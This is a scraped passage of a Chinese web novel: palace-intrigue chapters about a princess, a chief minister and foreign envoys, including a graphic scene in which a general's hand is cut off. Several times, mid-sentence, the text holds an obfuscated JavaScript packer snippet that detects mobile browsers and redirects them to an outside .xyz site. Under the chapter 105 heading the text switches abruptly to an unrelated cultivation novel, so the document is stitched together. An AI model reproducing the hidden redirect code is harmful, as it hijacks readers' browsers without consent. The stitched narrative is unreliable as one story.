“皇兄国事繁忙,总不能来一国使臣就要办一场接风宴,三日后,各国使臣齐聚皇城,且正是我东陵的端午佳节,皇宫内外举国同庆,与民同乐,岂不是一举两得?” 不只赫连儒,其他北赫使臣也已经怒了: “为什么要等那么久,东陵皇帝是不是根本没把我们放在眼里!” “就是,简直是岂有此理!” 慕馨宁连忙解释:“别生气啊,五三日后给诸位接风,也不是怠慢各位,这三日本宫已经给诸位做了妥善的安排,比赛、歌舞、游玩等,定会让诸位不枉此行,满意而归。” 百里尧还想反驳,赫连儒却开口道:“那就有劳长公主了。” 百里尧看了赫连儒一眼,不明白他这是葫芦里卖的什么药,之前不是商量好了,要给慕馨宁一个下马威,让她颜面尽失的? “不过,梧台过于无聊,本王想借宿长公主府,不知长公主意下如何?” 慕馨宁没想到赫连儒竟然搞这么一出,也不知道他是何居心,她想要拒绝,正绞尽脑汁琢磨这话该怎么说。 赫连儒抬了抬手,好几个下人捧着各种奇珍异宝上前,慕馨宁和所有人的眼睛都亮了。 “本王也不是那种吃白食的人,一点心意,还请长公主笑纳。” 慕馨宁怎么会跟那么多宝贝过不去,脸上顿时有了笑意:“既然皇长孙殿下开口,本宫哪有拒绝的道理,寒舍简陋,还请诸位多担待。” “不……”赫连儒嘴角微勾:“就本王一人。” 慕馨宁:“……好。” 楼上,姬无忧幸灾乐祸的看着晏骁寒:“虽然你是首辅,但是人家可是北赫未来储君,模样也不错,没准儿长公主看上了赫连真,主动要求亲自联姻嫁往北赫呢……” 他多说一句,晏骁寒的脸色就阴沉一分,话刚说完,他就感受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15658868|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了晏骁寒的杀气。 “我还有事,先走了……” 这次不用别人动手,姬无忧主动从窗口跳了下去。 即墨:“……” 虽然答应赫连儒住公主府,但是北赫其他使臣也不能不管,慕馨宁还是带着他们一起去了梧台,吃了迟来的午饭,欣赏了歌舞表演,然后才打算带着赫连儒回公主府。 这次北赫使臣没有挑慕馨宁的毛病,毕竟膳食和歌舞等表演都是慕馨宁亲自安排的。 每一道菜都是色香味俱全,也是北赫从未吃过的。 每一场表演都是别开生面,让人回味无穷。 但是北赫使臣并不觉得这些是出自慕馨宁之手,没准是请了什么高人。 趁着没人注意,百里尧一脸不满的问赫连儒:“你做什么,为什么要跟我们分开,你知不知道,我父还在虞放手里,若是慕馨宁对你心怀不轨,再抓了你做人质,我们北赫岂不是更要向东陵低头?” 赫连儒随手摆弄腰间的络子,看向百里尧,只说了一句:“不入虎穴焉得虎子?” 百里尧眼里的怒气顿时消散,一脸欣慰的拍了拍赫连儒的肩膀:“给你安排几个人,定会保证你的安全。” 赫连儒:“不用多此一举,众目睽睽之下,她敢在自己府里对本王动手?” 出了梧台,赫连儒就要随慕馨宁上同一辆马车,却被鸦羽阻拦:“皇长孙恕罪,男女有别。” 赫连儒差点笑出声来,慕馨宁养那么多男宠,现在还跟他说男女有别? 等回了公主府,慕馨跟赫连儒客套两句,就让下人带着赫连儒去休息。 赫连儒对她总是欲言又止的样子,可是慕馨宁并没给他深交的机会,她还要进宫向永平帝复命。 对于慕馨宁不但挫了北赫使臣的锐气,赫连儒还主动跟慕馨宁示好、又一人入住长公主府的事情,永平帝甚是满意。 北赫使臣刚入京的时候,当他得知晏骁寒并未出面和慕馨宁一同去迎接的时候,永平帝就担心慕馨宁撑不住场面,被北赫使臣拿捏,从而丢了东陵的颜面,如今终于是松了一口气。 “这件事你办的不错,想要什么,朕今日就满足你……” 话音刚落,不等慕馨宁开口,永平帝忽然觉得这话说的有些大了,万一慕馨宁提出什么过分的要求,他岂不是下不来台? “那个,最近宫里新来了些果子,朕想着你爱吃,回头你多带一些出宫。” 慕馨宁当然看出了永平帝的紧张,她笑了笑:“皇兄,臣妹还真有一事……” 永平帝刚要端起茶盏又放下,心头沉闷:“什么事?” 第101章 给我等着 怕什么来什么,他真后悔自己一时嘴快。 本以为慕馨宁会狮子大开口,却听慕馨宁道:“臣妹想从乐府挑些人出宫,您看……” 永平帝提起的心又放回肚子里,暗暗松了口气,于是爽快道:“好,看上谁,你直接带走!” “不急,等送走各国使臣,臣妹再挑。” 永平帝一琢磨,这长公主莫不是还惦记着霖州? 哼,也算霖州命大。 他和慕馨宁去太后寝宫的时候,太后为了不被他们察觉,只能放了霖州跳窗离开。 不过,霖州不过是一个小小的乐人,躲得了初一,也躲不过十五。 永平帝一边摸着下巴上的胡茬,一边琢磨,他是等着慕馨宁和太后因为一个男人反目成仇,他坐收渔翁之利呢,还是趁着太后对霖州下手的时候抓太后一个现行,然后以太后德行有亏的名头,让太后交出大权? 永平帝心思活泛,眼下只想先把慕馨宁给打发了:“明日伊吾使臣入京,你还要出面接待,早些回去休息。” “臣妹告退。” 慕馨宁一走,永平帝又琢磨,今日晏骁寒为什么没有跟慕馨宁一起出面接待北赫使臣? 莫不是晏骁寒知道慕馨宁惦记上了霖州,一气之下故意让慕馨宁下不来台,想等着慕馨宁得罪了北赫使臣,丢了东陵颜面,再让他治慕馨宁的罪? 慕馨宁刚出御书房,没走多远,就被芝嬷嬷挡住了去路:“长公主,太后召见。” 慕馨宁垂眸,那老女人定是因为昨夜被她搅了好事,所以要收拾她了。 “今日本宫脱不开身,北赫皇太孙还在公主府等本宫回去,若是怠慢了不好向文武百官和北赫使臣交代,还请母后理解。” 慕馨宁说完要走,芝嬷嬷板着脸挡在她面前:“长公主,耽误不了你多长时间。” “你不会是做了什么亏心事,不敢面见太后娘娘吧?” 慕馨宁笑的诡异,忽然后退一步。 芝嬷嬷还以为她要跑,正要拦人,面前忽然多了一个人影,狠狠地给了她一个耳光。 芝嬷嬷被打蒙了。 跟着太后几十年,都没有人敢动她一根手指头,慕馨宁怎么敢! 鸦羽暗暗活动了一下酥麻的手,后退一步。 杜若板着一张小脸上前:“芝嬷嬷,您虽然是太后的人,但是到底是一个奴才,竟然敢以下犯上,不敬长公主,本是死罪一条。” “我们主子向来孝顺,就念在你是太后娘娘奴才的份上,饶你一命,但愿你长一些教训!” 她都跟鸦羽商量好了,她不会武功,但是嘴皮子溜,鸦羽武艺高强,但是不善言辞,她们正好一个出力,一个出口。 芝嬷嬷捂着红肿的脸,一脸怒火的看向慕馨宁,眼珠子都要瞪出来了。 慕馨宁一脸担忧:“哎呦,伤的这么严重,快找个大夫瞧瞧去吧,毕竟你还要在母后跟前服侍呢。” 说完,她扭头就走,一溜烟就没了人影。 芝嬷嬷被气的头昏脑涨:“好你个慕馨宁,你给我等着!” 马车回了公主府,慕馨宁疲惫的被鸦羽扶着下了马车。 她还没等抬腿进府,就见门口多了一道熟悉的人影。 晏骁寒站在台阶上,负手而立,一双星眸和慕馨宁的杏眼四目相对。 慕馨宁还以为自己眼花:“你怎么来了?” 慕馨宁搞不懂,白天迎接北赫使臣的时候晏骁寒撂挑子,也没知会她一声,现在怎么主动上门了? 晏骁寒咳嗽一声,脸色有些发白:“身体不适,请姬神医给我瞧瞧。” “哪里不舒服?” 慕馨宁一脸怀疑,北赫皇太孙在她府上,晏骁寒这厮这个时候上门,不会是担心她跟赫连儒勾结,然后趁机**吧? 晏骁寒:“旧疾复发……” 话音未落,他就吐出一口血来。 慕馨宁嘴角抽了抽:“那快进去吧,让老头儿给你瞧瞧。” 毕竟当初晏骁寒差点被她害死,慕馨宁怎么能把人赶走,真是欠了这厮的。 “回来了。” 刚进府没走多远,赫连儒就迎了上来。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666389|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 慕馨宁有些头疼:“还没用晚饭吧,正好一起。” 要是没有赫连儒,她现在立刻、马上,就想爬上床睡个天昏地暗。 赫连儒的目光落在晏骁寒身上,看着他俊美无双的容颜,耳唇微红:“晏首辅日理万机,即使天色已晚,还能来见本王,本王深感欣慰。” 晏骁寒面无表情:“本官是来看大夫。” 赫连儒:“……” 他尴尬的低头看自己的双脚。 慕馨宁招呼下人摆饭,让晏骁寒瞧了病就来。 有晏骁寒在,她也不必劳心费神的招待赫连儒。 饭吃到一半,慕馨宁已经开始打瞌睡了。 想起昨夜种种,晏骁寒眸色微闪:“你身体不好,回去休息吧,这里本官安排。” 慕馨宁喝了口茶,起身对赫连儒道:“皇长孙自便,招待不周,还望您多担待。” 赫连儒心里百般滋味,毕竟之前慕馨宁对他的态度,还历历在目。 “没关系,你去忙。” 他说着,看了对面的晏骁寒一眼,低头喝了两口茶。 慕馨宁就没再管了,刚爬上床,鸦羽就来禀报:“明日的马球赛已经安排好了,听说北赫使臣参加,那些个达官显贵都接受了您的邀请。” 慕馨宁打了个哈欠:“明日上午伊吾使臣入京,傍晚的时候琉球使臣可能也会入京,本宫怕是没时间去参加马球赛,让吴萸过去多盯着点。” 鸦羽又说了什么,慕馨宁已经听不清了,此时她已经打起了呼噜。 花厅,赫连儒看着对面的晏骁寒慢条斯理的用饭,举手投足都是矜贵优雅,内心有些雀跃。 “晏首辅还没娶妻?” 晏骁寒:“北赫虽然离东陵有些远,但是本官和长公主有了婚约的消息,你们不会不知道。” 所以,赫连儒这是明知故问。 赫连儒本以为晏骁寒定会隐瞒和慕馨宁的关系,他才故意这么问的,没想到会是这样的答案。 他心里有些不是滋味:“你不会真要娶长公主为妻吧?” 第102章 冤枉 绝对不可能,如果晏骁寒要面子,如果晏骁寒是个男人,都不会娶一个水性杨花臭名远扬的女人,哪怕她是长公主。 晏骁寒放下碗筷,轻抿一口茶:“本官有必要与你多言?” 赫连儒脸上有些挂不住:“本王只是好奇而已。” 晏骁寒起身:“本官吃好了,皇长孙慢用。” 赫连儒忍着怒气,手里的筷子狠狠拍在桌子上:“虽然你是东陵首辅,本王也是北赫储君,晏首辅如此怠慢本王,就不怕东陵皇帝问罪?” 他可是有意向晏骁寒示好,晏骁寒却如此不给他面子,他能忍,但是北赫储君不能忍。 晏骁寒面色冷淡,目光落在了他的**:“不如,你还是好好想想,怎么解决眼下的当务之急,毕竟,北赫想要爬上那个位子的人,十个手指头都数不过来。” 赫连儒的脸色,瞬间一阵青一阵白。 一定是慕馨宁那个女人跟晏骁寒说的! 他明明已经向慕馨宁示好了,那个女人怎么就不能为他保守秘密! 再说,知道那个秘密的人他都杀的干干净净,东陵离北赫那么远,消息是怎么传进慕馨宁耳朵里的? 那件事,除了慕馨宁和晏骁寒,还有多少人知道? 赫连儒百思不得其解,直到有丫鬟上前给他添茶,他才渐渐回神。 怎么办,杀了慕馨宁或许容易,晏骁寒又该怎么解决? 晏骁寒出了花厅,目光深沉的回头看了里头一眼。 即墨忍不住好奇:“主子,您怎么肯定他那方面有问题?” 晏骁寒看向主院的方向,其实他也只是试探而已,如今看那赫连儒的脸色,终于确定下来。 他也好奇,明明他给慕馨宁的折子里,只说了赫连儒的脾气秉性和兴趣喜好,还有其至亲的一些简述,慕馨宁是怎么知道赫连儒那处有问题的,毕竟这件事他都毫不知情。 感受到即墨疑惑又期待的目光,晏骁寒面无表情:“多吃些核桃和香蕉,或许你就明白了。” 即墨挠头:“这有什么关系?” 原本晏骁寒还很欣赏慕馨宁的手段,渐渐的,他心里越来越烦闷。 那种事情,她一个姑娘怎么脸不红心不跳表达出来的,毕竟,他都觉得难为情。 所以,夜色已深,首辅大人在床上还翻来覆去难以入眠。 次日,天色大亮。 其他负责接待使臣的官员们已经在公主府外急的团团转。 “这伊吾使臣马上就要入京了,长公主怎么还不出来?” “晏首辅不出面,长公主再不出面,那怎么向伊吾使臣和皇上交代?”礼部侍郎焦头烂额,边说边擦额头上的冷汗。 礼部尚书抬手整理了一下官帽:“既然长公主没时间,那我们还是先过去吧。” 昨日北赫皇长孙入住长公主府,慕馨宁又是个好色的,那皇长孙长得细皮嫩肉,没准儿两个人是颠鸾倒凤折腾一晚,所以把长公主给累坏了。 这件事要是被皇上知道,杀了慕馨宁都不为过。 礼部侍郎朱大人张了张嘴,没等说话,礼部尚书给了他一个警告的目光,率先离开。 他一走,其他人也跟着走了。 原本热闹的大门口,又安静下来。 这些人一走远,慕馨宁就醒了。 “什么时辰了?” “殿下醒了,已经巳时了。”负责洒扫的丫鬟一边擦桌子一边开口。 慕馨宁想起什么,迅速起床:“杜若呢,本宫告诉她早些叫本宫起床的。” 杜若端着早饭进来:“晏首辅临走时交代奴婢,说伊吾不过是个区区小国,这次来东陵或许有事相求,就算您不出面,伊吾使臣也不会找咱们东陵的麻烦。” 所以,慕馨宁若是不想起床,还可以接着睡。 慕馨宁一边穿衣服一边正色道:“那不行,既然皇兄对本宫委以重任,那我就应该认真对待,不能因为伊吾国土少能力小就怠慢,这岂不成了捧高踩低的小人?” 杜若也觉得是这个道理,连忙上前帮着慕馨宁梳洗打扮。 伊吾使臣入京,并未看见慕馨宁的影子,晏骁寒依旧没有出面。 伊吾最前面的两个使臣对视一眼,并未说话。 身后有多嘴的官员拔高了嗓门:“听说昨日北赫使臣入京,可是长公主出面接待的,怎么我们来了,长公主就不出面了,是不是觉得我伊吾国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“本宫明明派人告知礼部尚书,本宫去了梧台亲自安排招待伊吾使臣的事情,礼部尚书还带着**张旗鼓的在公主府演戏,不就是想让人误以为本宫怠慢了伊吾使臣,想要挑起东陵和伊吾的矛盾,礼部尚书是何居心啊?” 众人看礼部尚书的目光又变了,周围的百姓议论纷纷,很多人都觉得礼部尚书不是好人,没准是慕馨宁什么时候得罪了他,他这是故意报复呢。 礼部尚书脸色煞白,连忙开口:“长公主,您什么时候给下官传话了,下官根本毫不知情,您可别冤枉下官!” 第103章 砍断手 他心急如焚,眼下该怎么证明自己的清白? 慕馨宁笑了笑:“是吗,那估计礼部尚书年纪大了,耳聋眼花记性又不好,所以才闹了这样的误会,本宫念你年事已高,不跟你计较了。” 礼部尚书气的七窍生烟,人差点没背过气去。 他这个位子不少人盯着,这些年他殚精竭虑不敢被人抓了一点把柄,没想到慕馨宁轻而易举就毁了他维持的好形象,这下完了。 看着礼部尚书难看的脸色,礼部侍郎朱大人暗中搓手,如果礼部尚书告老还乡,那他岂不是就有了晋升的机会? 他是不是该好好讨好讨好慕馨宁,没准儿就美梦成真了! 慕馨宁不再理会礼部尚书,缓步走到伊吾使臣面前:“东陵的百姓们知道伊吾使臣来东陵,都很是高兴,特意来街上瞻仰伊吾使臣们的尊容,所以这街上人多,避免伤到人,本宫的马车的速度也慢了些,这才耽误了本宫迎接诸位的时间,还请诸位使臣不要介意。” 慕馨宁这话说的漂亮,给足了伊吾使臣的颜面,伊吾使臣自然不会再为难慕馨宁,大家相处起来气氛也很融洽。 慕馨宁还邀请伊吾使臣一起去参加下午的马球赛,伊吾使臣很痛快的就答应了。 “长公主,不好了,北赫使臣在街上当众行凶,要把人打**!” 慕馨宁带着伊吾使臣刚要去打马球的地方,一个侍卫急匆匆上前禀报。 慕馨宁有些烦闷,对伊吾使臣道:“你们是在这里休息片刻,还是与本宫去街上?” 伊吾皇子道:“出去转转也好,这些日子坐在马车里,骨头都要碎了。” 慕馨宁点头。 到了地方,远远的就听见惨叫和哭嚎声,一群人围在一个地方,将路堵的水泄不通。 慕馨宁不得不下马车步行,等挤进人群,就看见百里尧正狠狠地朝着两个人抽鞭子。 “该死的东西,挡了本将军的路,不道歉也就算了,还要去官府告本将军行凶,知道本将军是谁吗?” 其中一人已经被抽的血肉模糊,一副惨不忍睹的样子,即使他狼狈不堪,却依旧没有服软:“东陵国律,当街纵马伤人者,轻则杖四十,重则流放……咳咳……你不知悔改……还要伤人性命……简直狂妄……” 百里尧牙齿磨得咯咯作响,怒不可遏,他一把丢了手里的鞭子,直接拔刀: “你们东陵国的狗屁律法,根本奈何不了本将军,本将军现在就让你知道知道,什么叫自寻死路!” 说着,他提刀朝着那人的脑袋砍下去。 围观的百姓吓得不行,胆小的已经捂着眼睛哭出声来。 慕馨宁见状怒喝一声:“住手!” 百里尧看见沉着脸走过来的慕馨宁,对着她露出一个挑衅的笑容,手里的刀还是狠狠地砍了下去。 所有人倒吸一口凉气,慕馨宁心头一沉。 就在百里尧的刀要砍在那人脑袋上的时候,忽然被一把长剑拦下。 鸦羽一脚就将百里尧踹的一个趔趄,她一剑拍在百里尧的手背上,百里尧吃痛,手里的大刀砰的一下掉在地上,差点砍断自己的脚趾头。 慕馨宁走近,终于看清浑身是血之人的那张脸。 之前只是听着声音有些怀疑,如今确定下来,真是不知道该气愤还是该同情。 她蹲下身,看着面前的男子,眉头紧皱一脸认真的问:“你确定,你不是下凡历劫的吗?” 这人怎么总是一副凄凄惨惨的样子,普通人怕是一辈子都没受过他这么大的苦。。 “长公主……这件事不能怪我……” 虞零落想要拨开面前凌乱的头发,可是稍稍一动,撕心裂肺的疼。 “慕馨宁,你找死!” 百里尧当着这么多人的面,竟然被一个女人下了刀,还挨了一脚,他顿时觉得颜面无存,气的七窍生烟。 慕馨宁从身上取了两粒止血的药丸,给虞零落和连清一人吃了一粒,然后让杜若拿着钱去请大夫给虞零落和连清治伤。 终于腾出功夫,看着百里尧一脸愤怒的样子,慕馨宁脸色冰冷:“百里尧,知道这是哪吗,还以为这是你们北赫?” 百里尧黝黑的脸上满是戾气:“东陵又如何,这两个狗东西不长眼,就是他们的错!” 慕馨宁环顾在场的众人:“谁来告诉本宫,到底发生了什么?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“啊……” 忽然一声尖叫,慕馨宁脸上身上就被滚烫的液体染红,刺鼻的血腥味令人作呕。 她眼睁睁看着,一道寒光袭来,百里尧的手臂断成两节,他的那只大手,还挂在她身前的衣领上,鲜血淋漓,恐怖至极。 慕馨宁脸色瞬间惨白,双手紧握成拳,紧咬牙关,才强忍着没有两眼一翻昏死过去。 百里尧左手捧着鲜血如注的半截手臂,痛呼声震天:“啊……啊……我的手……” 第104章 卑鄙 他双眼猩红的看向挡在慕馨宁面前的紫衣男人,睚眦欲裂:“晏骁寒……你该死!” 晏骁寒一脸冷色,动作优雅的取出一条白色帕子,慢条斯理的擦拭剑上的鲜血:“那就看你的本事了。” “主子,您没事吧!” 鸦羽终于赶到慕馨宁跟前,看着她脸上身上都是血,还有身前挂着的那只鲜血淋漓的手,一脸愧疚和心疼。 慕馨宁长长的吸了口气,这才感觉自己活了回来,她抬手,将胸前那只血淋淋的大手取下,丢到一个侍卫脚边:“丢到山里,喂狗。” “啊……” 此时的百里尧,不但颜面尽失,还失去了一只手,顿时失去了理智,他单手捡起自己的大刀,就要大杀四方。 晏骁寒神色冷淡的一抬手,十几个黑衣人如鬼魅般落在百里尧身边,将他团团围住,轻易制服。 “晏骁寒,慕馨宁,你们欺人太甚,有种就放开我,待我回北赫,带着千军万马将这京城夷为平地,杀个片甲不留!” 慕馨宁拿着帕子擦了擦脸上的血,看着百里尧怒不可遏的样子,嘴角上扬:“那本宫拭目以待。” 不知过了多久,一切终于恢复平静,只有官差胆战心惊的冲洗地面上醒目的血迹。 百里尧虽然被制服,但是他的身份不一般,并且已经失去了一只手,人迟早还是要放的。 这个道理,所有人都明白。 慕馨宁已经沐浴更衣,重新梳洗好,即使用了那么多花瓣,她还是觉得身上有一股挥之不去的血腥味。 “你是故意的。” 慕馨宁坐下,看着对面优雅品茶的男人,暗暗磨牙。 这厮早不出现,晚不出现,偏偏百里尧抓住她衣服的时候出现。 还用了那么残忍的手段,要不是她重活一世,人早就被吓**! 晏骁寒语气淡淡:“哪有,只是怕耽误你英雄救美。” 这女人不是愿意为了虞零落出头么,那他当然要给她一个教训,让她好好掂量掂量,自己几斤几两。 慕馨宁气的拍案而起,指着晏骁寒的鼻子,一时间,竟然无言以对。 “主子,您喝口茶压压惊……” 杜若生怕慕馨宁一气之下把晏骁寒给得罪了,万一晏骁寒再用那样狠辣的手段对付自家主子,那她只有陪葬的份儿。 再说,要不是晏骁寒,她也只能眼睁睁看着自家主子被百里尧欺负,距离那么远,她飞过去替自家主子受罪都来不及。 慕馨宁接过杜若的茶水喝了一口,想要浇灭心头的火气。 可是茶水太烫,她立刻就想吐出来,却见晏骁寒正看着她,等着她出丑,慕馨宁心一横,硬生生将那一口滚烫的茶水咽了下去。 晏骁寒:“……” 慕馨宁张嘴,长长的吸了一口气,缓解了一下口中的滚烫的痛感:“百里尧好歹是北赫百里将军的嫡子,你砍断了他的一只手,打算怎么向皇上和北赫交代?” 晏骁寒语气淡淡:“不是你砍断的?” 慕馨宁咬牙,很想掀桌子。 所以这厮,根本不是救她,是给她找麻烦的! 发生这样的事情,慕馨宁也没有心情去参加马球赛,所以让下人带着伊吾使臣过去了。 她执笔写了一道折子,将事情的经过简述了一遍,然后呈到了永平帝跟前,她并没有把罪责往晏骁寒身上推。 可明明百里尧的手是就晏骁寒砍断的,次日早朝上,好些个官员却都要永平帝治慕馨宁的罪。 说慕馨宁作为接待各国使臣的皇族代表,不但没有好好招待北赫使臣,竟然还砍断了百里尧的手臂,挑起了两国纷争,简直是狂妄至极,就应该主动请罪。 永平帝震怒,限慕馨宁三日之内解决此事,否则依法处置。 慕馨宁感觉焦头烂额,她去找了赫连儒。 赫连儒一副爱莫能助的样子:“你不知道吗,我们北赫虽然算得上兵强马壮,但是大部分的兵力都在百里一族的手里。” 慕馨宁差点被气笑了:“别忘了,百里尧的父亲,还在我军手里。” 赫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15673443|170467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连儒打开折扇,笑了笑:“是啊,但是没了百里昌,还有千千万万个百里将军。” 要不是为了百里一族的颜面,百里昌又没死,北赫国早就跟东陵继续开战了。 如今百里尧断了手臂,百里一族定会对北赫恼恨不已,没准一气之下也不必管百里昌的性命,直接出兵了。 不等赫连儒幸灾乐祸,慕馨宁起身,忽然靠近他。 慕馨宁的手,搭在他的肩头,又轻抚他的侧脸:“你的秘密,想要保住,总要给本宫想一个解决的法子,是不是?” 赫连儒:“……卑鄙。” 一阵风吹来,慕馨宁回头看向门口,在看清来人的时候,她的手还贴在赫连儒的脸上。 晏骁寒一双星眸里,是无尽的寒意,目光冰冷的仿佛要将慕馨宁一寸寸冰封。 他的手,有意无意搭在自己腰迹,慕馨宁吓得连忙从赫连儒身边弹开,生怕晏骁寒抽出腰间的软剑,把她的手也砍了。 慕馨宁干笑一声,脸上带了几分讨好:“你来干什么?” 晏骁寒冷笑:“怎么,打扰你的好事了?” 慕馨宁张了张嘴,忽然觉得最近这厮总是神出鬼没的,说出来的话也怪堵得慌的。 看见眼前的情形,赫连儒眼里的算计一闪而过,嘴角上扬:“帮你解决眼前的麻烦,也不是不行,但是本王也有个条件。” 慕馨宁:“什么条件。” 赫连儒没说话,看着慕馨宁的眼神里,满是柔情。 慕馨宁感觉鸡皮疙瘩都要起来了:“本宫没那个喜好,你换个人吧。” 赫连儒嘴角抽动:“你怕是误会了,我只是想请你帮我照顾一下远道而来的表弟。” 慕馨宁:“……” “我表弟他,打算来东陵做点小生意,但是又不懂东陵的规矩,也没个人脉……” 慕馨宁当即就问:“你表弟,长什么样?” 话音刚落,赫连儒变戏法一样,手里多了个卷轴,画轴滚动,一个一身白衣容貌俊美的男子,便映入眼帘。 第105章 眼睛挖下来 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中**出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情**,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们**,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以**……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他**……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法**吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法**,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 